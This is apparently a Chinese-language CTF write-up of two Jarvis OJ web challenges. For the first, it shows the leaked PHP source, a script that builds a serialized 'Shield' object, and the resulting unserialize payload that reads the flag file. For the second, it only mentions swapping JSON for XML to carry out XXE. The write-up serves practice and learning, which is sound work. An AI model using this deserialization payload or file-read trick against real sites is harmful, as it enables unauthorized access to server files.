神盾局的秘密
0x00 题目分析
题目链接:http://web.jarvisoj.com:32768/
今天把php反序列化漏洞搞得算是入门了。于是开始做ctf了。。。结果一上来就碰到了一道php反序列化,不知道是喜是忧,喜,我可能会做出来,忧,万一做不出来。。。一天的反序列化就白学了。结果做出来了。开心
好了,题外话不说了,开始分析题目。
首先,进入页面。发现一张神盾局的图片(帅-0-)。右键源码进入http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw== 。发现一堆乱码。尝试在乱码中发现flag。存到txt中,搜索一下flag,无果。又把图片右键保存到本地,binwalk看看,也没什么收获。然后,我发现这个img肯定不对,接着我测试了一下各种可能的漏洞,先是php流,?img=php://filter/read=conver.base64-encode/resource=index.php。。错误。接着测试文件包含../../../index.php。。也没什么收获。然后,我突然发现这个img=c2hpZWxkLmpwZw==。后面是base64编码的,之前页面又爆出来了一个文件showimg.php,于是base64进去看看。果然,非常高兴,页面变成了空白。右键查看源码1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
又试了下base64的index.php(emmm。直觉应该会有这个)。进入,查看源码1
2
3
4
5
6
7
8
9
10<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
这里,包含了一个shield.php,于是再编码,查看,右键源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
0x01 代码分析
我们来看这三段代码。第一段代码,showimg.php页面的。意思是读取文件,img接受到我们传入的base64加密后的文件,不为if里stripos()函数所寻找的那几个,就读取文件内容。然后再看index.php,包含shield.php,shield.php就是明显的一个反序列化漏洞了。这里就只给出一个师傅的反序列化学习的链接了,就不具体说明了https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ 解释一下这个代码吧。 __construct()魔幻函数,当我们创建一个对象时就会自动调用,所以我们需要构造一个输入点。这里我们可以看到flag在pctf.php中,所以说我们需要将pctf.php给打开。
我们看这里index.php的源码,g作为GET的参数,并将g的内容反序列化。所以关键点就在这里,我这里直接给出我的payload,如下1
2
3
4
5
6
7
8
9
10
11<?php
class Shield {
public $file;
function __construct($filename = '') {
$this ->file = $filename;
}
}
$class2 = new Shield;
$class2->file='pctf.php';
echo serialize($class2);
?>
稍作解释,我们在class2处创建一个新对象,然后调用对象的属性,并赋值为pctf.php,然后将序列化的内容输出。O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
接着我们传给class。然后右键查看源码。
get flag
API调用
0x00题目分析。
这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。
进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包发现了json数据,修改发现可以被解析。一开始没有思路,后来看了wp,发现是要把json处改为xml。所以就知道了,这题是xxe。修改json处,构造一个xml表单进行xml注入,得到flag。